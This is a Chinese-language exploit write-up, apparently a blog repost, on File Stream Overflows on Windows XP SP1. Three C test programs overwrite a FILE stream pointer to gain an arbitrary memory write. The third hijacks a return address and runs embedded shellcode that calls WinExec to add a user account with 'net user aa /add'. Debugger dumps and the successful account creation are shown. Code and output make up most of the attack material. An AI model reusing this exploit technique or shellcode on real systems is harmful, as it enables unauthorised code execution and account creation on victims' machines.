Windows系统下的File Stream Overflows(FSO)

Windows系统下的File Stream Overflows(FSO)
作者: Nanika
Email: minjack.tw@yahoo.com.tw Nanika@seed.net.tw

前言:
    看过alert7大哥所写的一篇一种新的File Stream Overflows(FSO),跟以往的利用方法都不一样,
使我觉得很有兴趣,便开始着手研究有关Windows系统的(FSO),在研究的过程中,遇到了很多的问题,所以就
写了这一篇,让大家一起研究讨论,顺便当作自己研究的笔记,程序都是我自己除错所写的,可能有很多错误
若有错误,敬请指正

原理:
File指标,常用来开文件,在c语言中很常利用到,FSO则是要覆盖这个指标,有很多情况有可能会覆盖到这个指标

测试环境:
WindowsXP_SP1中文繁体专业版
Visual C++ 6
Softice

覆盖例子1:
参考alert7大哥的范例改写一些地方
buf改小比较容易测试,另外直接把输入的地方把数值带入也是为了测试方便
#include <stdio.h>

int main(int argc, char *argv[])
{
    FILE * fp;
    char buf[16];
    char buf2[28]={0};
    int i;
    int j;
  
    fp=fopen( "fprintf.out", "w" );

    i = (int)&fp-(int)&buf;
    printf(" fp addr %p point %p/nbuf addr %p/n len %d/n",&fp,fp,buf,i);
    for (j=0;j<sizeof(buf2);j++)
    {
     buf2[j]=0x61;
    }
   
    buf2[16]=0x61;
    buf2[17]=0x61;
    buf2[18]=0x61;
    buf2[19]=0x61;
   
    strncpy(buf,buf2,i +4 );
        fprintf(fp,"%s",buf);

    fclose( fp );

}
测试中
buf堆栈起始地址
0012FF6C  CC CC CC CC  昍昍
0012FF70  CC CC CC CC  昍昍
0012FF74  CC CC CC CC  昍昍
0012FF78  CC CC CC CC  昍昍
0012FF7C  90 2A 42 00  .*B.
Debug测试后发现了错误,
覆盖后
0012FF7C  61 61 61 61
覆盖了stream指标
71:           if (!_isatty(_fileno(stream)))
004036D9 8B 55 FC             mov         edx,dword ptr [stream]
004036DC 8B 42 10             mov         eax,dword ptr [edx+10h]<------EDX=61616161
EAX = 00000000
EBX = 7FFDF000
ECX = 61616161
EDX = 61616161
ESI = 00000000
EDI = 0012FF6C
EIP = 004036DC
ESP = 0012FEAC
EBP = 0012FEC0
因为我们覆盖了stream指标成为61616161所以在执行到mov eax,dword ptr [edx+10h]时候发生了错误
这里的指令我没有想到利用的方法,所以想办法跳过这里,因为61616161+10h的地方不能复制到eax,我们
可以考虑使用堆栈的地址绕过,我使用了堆栈中buf起始地址0012ff6c,
堆栈内容
0012FF6C  61 61 61 61  aaaa
0012FF70  61 61 61 61  aaaa
0012FF74  61 61 61 61  aaaa
0012FF78  61 61 61 61  aaaa
0012FF7C  6C FF 12 00  l...
继续执行又发生了错误
00404614 88 02                mov         byte ptr [edx],al<----al='a'=61h EDX=61616161
EAX = 0012FF61
EBX = 7FFDF000
ECX = 0012FF6C
EDX = 61616161
ESI = 00000000
EDI = 0012FF6C
EIP = 00404614
ESP = 0012FBD0
EBP = 0012FBD4
0012FF6C  61 61 61 61  aaaa
0012FF70  60 61 61 61  `aaa
0012FF74  61 61 61 61  aaaa
0012FF78  61 61 61 61  aaaa
0012FF7C  6C FF 12 00  l...
这次也是因为61616161这个地址不可写所以又引起错误,
经过我的测试发现
程序执行到fprintf之后
0012FF6C  61 61 61 61  aaaa<--------这里的61616161我们可控制要把指令写入到哪一个地址若是更改成为
                                    78787878则我们会从78787878的内存中开始写入0012ff6c堆栈内的
                                    资料,一直往下写入
0012FF70  60 61 61 61  `aaa<--------这里的内容经过fprintf之后0012ff70的位置内容会减一
0012FF74  61 61 61 61  aaaa<--------这里会照常写入
0012FF78  61 61 61 61  aaaa<--------这里会照常写入
0012FF7C  6C FF 12 00  l...<--------stream指标<------也会照常写入
但是这里的数据中一旦含有00则会结束写入
我们可以控制一段资料的写入内容和写入的地址,
很好有一点方法了,我们可以考虑利用seh顶层异常结构处理,程序的中堆栈内的返回地址,fs:[0]异常
处理结构,这些方法,但是strncpy,不可以有00,否则就结束拷贝,这个问题真的很困扰,在Linux下堆栈通常不含
00,但是Win下的堆栈,都是从0012****开始,所以就算把buf2的内容利用seh或是ret位置或是fs:[0]把堆栈中的
shellcode地址写入,但堆栈中有00所以会提早结束,就没有办法覆盖到stream,
在没有办法利用只好修改我们的漏洞程序

覆盖例子2
增大了我们的buf,并且使用memcpy
#include <stdio.h>
int main(int argc, char *argv[])
{
    FILE * fp;
    char buf[32];
    char buf2[36]={0};
    int i;
    int j;
   
    fp=fopen( "fprintf.out", "w" );

    i = (int)&fp-(int)&buf;
    printf(" fp addr %p point %p/nbuf addr %p/n len %d/n",&fp,fp,buf,i);
    for (j=0;j<sizeof(buf2);j++)
    {
     buf2[j]=0x61;
    }
    buf2[0]=0x70;
    buf2[1]=0xff;
    buf2[2]=0x12;
    buf2[3]=0x00;
    buf2[4]=0x84;
    buf2[5]=0xff;
    buf2[6]=0x12;
    buf2[7]=0x00;
   

    buf2[32]=0x60;
    buf2[33]=0xff;
    buf2[34]=0x12;
    buf2[35]=0x00;


    memcpy(buf,buf2,i +4 );
    fprintf(fp,"%s",buf);
   
    fclose( fp );

}
为了证明我之前的想法没有错
所以建构了一段数据
0012ff5c     0012ff70 <-----写入数据的内容,因为这里包含有00,所以写入后就结束,
                            不会把之后的数据继续写入
0012ff60     0012ff84 <-----这里可以控制所要写入的地址,我选择了ret
          .
          .
          .
          .
          .
0012ff7c     0012ff60 <-----我们所覆盖的stream指标

覆盖前堆栈内容
0012FF5C  CC CC CC CC  昍昍
0012FF60  CC CC CC CC  昍昍
0012FF64  CC CC CC CC  昍昍
0012FF68  CC CC CC CC  昍昍
0012FF6C  CC CC CC CC  昍昍
0012FF70  CC CC CC CC  昍昍
0012FF74  CC CC CC CC  昍昍
0012FF78  CC CC CC CC  昍昍
0012FF7C  90 2A 42 00  .*B.<--------stream指标
0012FF80  C0 FF 12 00  ....
0012FF84  69 17 40 00  i.@.<--------此处是返回地址
0012FF88  01 00 00 00  ....
0012FF8C  A0 0E 43 00  ..C.
覆盖stream后堆栈内容
0012FF5C  70 FF 12 00  p...
0012FF60  84 FF 12 00  ....
0012FF64  61 61 61 61  aaaa
0012FF68  61 61 61 61  aaaa
0012FF6C  61 61 61 61  aaaa
0012FF70  61 61 61 61  aaaa
0012FF74  61 61 61 61  aaaa
0012FF78  61 61 61 61  aaaa
0012FF7C  60 FF 12 00  `...<--------stream指标
0012FF80  C0 FF 12 00  ....
0012FF84  69 17 40 00  i.@.<--------此处是返回地址
0012FF88  01 00 00 00  ....
0012FF8C  A0 0E 43 00  ..C.
执行fprintf后的堆栈内容
0012FF5C  70 FF 12 00  p...
0012FF60  87 FF 12 00  ....
0012FF64  5E 61 61 61  ^aaa
0012FF68  61 61 61 61  aaaa
0012FF6C  61 61 61 61  aaaa
0012FF70  61 61 61 61  aaaa
0012FF74  61 61 61 61  aaaa
0012FF78  61 61 61 61  aaaa
0012FF7C  60 FF 12 00  `...
0012FF80  C0 FF 12 00  ....
0012FF84  70 FF 12 00  p...<---------返回位置被我们改写了
0012FF88  01 00 00 00  ....
0012FF8C  A0 0E 43 00  ..C.
Good,我们可以定位shellcode的地址了

覆盖例子3
这次我们把我们的shellcode加入测试
#include <stdio.h>
unsigned char shellcode[]=
"/x66/x83/xEC/x50"
"/x68/xC1/x15/x35/x09/x81/x2C/x24/x80/xD1/xF0/x08"
"/x68/x61/x61/x20/x2f/x68/x73/x65/x72/x20/x68/x65/x74/x20/x75/x68/x2f/x6b/x20/x6e"
"/x68/x63/x6d/x64/x20/x8b/xc4/x6a/x01/x50/xb8/x35/xfd/xe4/x77/xff/xd0/xb8/xfd/x98/xe5/x77/xff/xd0";
//56bytes
//简单的shellcode使用winexec来建立一个账户aa
//cmd /k net user aa /add
//最后呼叫ExitProcess结束行程
//里面的api函数位置,在不同的版本,应该需要更改
int main(int argc, char *argv[])
{
    FILE * fp;
    char buf[1024];
    char buf2[1028]={0};
    int i;
    int j;
    fp=fopen( "fprintf.out", "w" );
    i = (int)&fp-(int)&buf;
    printf(" fp addr %p point %p/nbuf addr %p/n len %d/n",&fp,fp,buf,i);
    for (j=0;j<sizeof(buf2);j++)
    {
     buf2[j]=0x41;//若是使用nop/x90则会发生错误所以使用0x41 inc ecx取代
    }
        buf2[0]=0x7c;
    buf2[1]=0xfc;
    buf2[2]=0x12;
    buf2[3]=0x00;//这里是覆写返回地址的内容,返回到0012fc7c,不求准确,因为利用了inc ecx
    buf2[4]=0x84;
    buf2[5]=0xff;
    buf2[6]=0x12;
    buf2[7]=0x00;//这里是覆写返回地址的地址
    memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-400],shellcode,strlen(shellcode));
//当返回时esp=0012ff84若不释放堆栈一些空间,则会把shellcode都改写了
    buf2[1024]=0x80;
    buf2[1025]=0xfb;
    buf2[1026]=0x12;
    buf2[1027]=0x00;
    memcpy(buf,buf2,i +4 );
    fprintf(fp,"%s",buf);
        fclose( fp );
}

 

 

利用成果:

fp addr 0012FF7C point 00422A90
buf addr 0012FB7C
len 1024
命令执行成功。


C:/>net user

//HACKER 的使用者账户

-------------------------------------------------------------------------------
aa                       Administrator            Debug
Guest                    HelpAssistant            IUSR_HACKER
IWAM_HACKER              Nanika                   SUPPORT_388945a0
命令执行成功。


C:/>net user aa /del
命令执行成功。


C:/>

我们成功的利用了File Stream Overflows,转跳到shellcode


结论:
FSO的利用在win下,还是有很多的问题,因为这次的利用,需要很准确的知道buf的地址和ret的地址,但若是在
没有原始码下的测试,在利用上更增加了难度,虽然发现了可以写一段数据到任何的地址,但是还是没有办法
摆脱00结束字符,使得漏洞的利用,方法受到限制,我也还没有想到更好,更通用的办法,因为现在的漏洞利用中,
这方面的数据比较缺乏,需要个位高手的研究

参考文献

WindowsXP下暂存区溢位及利用FS:[0]异常结构处理
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1756
by Nanika

漏洞利用的方法之研究
by noble

一种新的File Stream Overflows(FSO)
by alert7

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值